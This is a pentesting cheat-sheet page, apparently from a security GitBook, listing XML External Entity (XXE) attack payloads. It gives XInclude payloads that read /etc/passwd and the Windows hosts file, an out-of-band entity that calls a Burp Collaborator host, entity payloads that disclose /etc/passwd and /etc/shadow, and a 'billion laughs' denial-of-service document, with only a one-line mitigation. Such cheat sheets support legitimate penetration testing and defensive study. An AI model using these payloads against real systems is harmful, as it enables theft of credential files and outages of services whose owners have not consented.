> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/cheat-sheet-1/web/xxe.md).

# XXE

## XInclude in XXE attack

```
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo> 
```

```
<xi:include xmlns:xi=”http://www.w3.org/2003/XInclude” parse=”text”
href=”file://../../../../../../../../Windows/System32/drivers/etc/hosts”>
<xi:fallback>Oops!</xi:fallback>
</xi:include>
```

**Mitigation:** If possible disable XML extensions and entities expansion. Add proper rules for XML extensions that enable this same attack like XInclude and xop.

{% embed url="<https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files>" %}

## XXE payloads

### Ping

```
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://ccccccccccccc.burpcollaborator.net/x">
%ext;
]>
<r></r>
```

### File disclosure

```
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]>
```

```
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/shadow"> ]>
<userInfo>
 <firstName>John</firstName>
 <lastName>&ent;</lastName>
</userInfo>
```

### Denial of Service

```
<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<tag>&lol9;</tag>
```

## Resources

{% embed url="<https://github.com/payloadbox/xxe-injection-payload-list>" %}

{% embed url="<https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity>" %}

{% embed url="<https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html>" %}

{% embed url="<https://gosecure.github.io/presentations/2019-06-19-hack_in_paris/HIP2019-Advanced_XXE_Exploitation.pdf>" %}


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